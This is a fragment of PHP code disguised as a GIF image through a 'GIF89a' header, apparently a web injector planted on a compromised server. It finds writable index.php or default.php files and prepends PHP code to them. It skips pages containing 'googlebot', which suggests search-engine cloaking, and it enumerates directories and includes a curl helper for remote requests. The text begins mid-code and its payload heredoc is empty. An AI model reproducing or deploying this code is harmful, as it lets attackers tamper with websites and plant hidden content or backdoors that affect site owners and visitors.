GIF89a"){ $content = $content . "?>"; } } if(strpos($content, "googlebot") !== false){ return false; } $php_code = << EOF; $content = $php_code . $content; return putfile($real_filename, $content); } function getindex($document){ $index_list = array("index.php", "default.php"); $exists_index_list = array(); foreach($index_list as $index_file){ $real_file = $document . $index_file; if (file_exists($real_file) && is_writable($real_file) ){ return $real_file; } } return false; } function getDir($dir) { $dirArray = array(); if (false != ($handle = opendir ( $dir ))) { while ( false !== ($file = readdir ( $handle )) ) { if ($file != "." && $file != ".." && is_dir($dir . $file)) { $dirArray[]=$file; } } closedir ( $handle ); } $curr_dir = dirname(__FILE__); $curr_dir = substr($curr_dir, strrpos($curr_dir, '/')+1) ; $dirArray[] = $curr_dir; shuffle($dirArray); return $dirArray; } function curl($url, $post=array()){ if(function_exists("curl")){ $headers = array("Content-Type:multipart/form-data"); $response = array(); $timeout = 10; $ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout-2); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); //设置头信息的地方 curl_setopt($ch, CURLOPT_HEADER, 0); //不取得返回头信息 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if($post){ curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $result = curl_exec($ch); $headerSent = curl_getinfo($ch); $response['error'] = curl_error($ch); $response['header'] = $headerSent; $response['result'] = $result; return $response; }else{ return false; } } function putfile($f, $php_code){ $suc = false; $fpw = @fopen($f, 'w+'); if($fpw && @fwrite($fpw, $php_code) !== false){ $suc = true; } @fclose($fpw); return $suc; } function getcontent($file){ $fp = fopen($file, 'r'); $tmp_content = fread($fp, filesize($file)); fclose($fp); return $tmp_content; }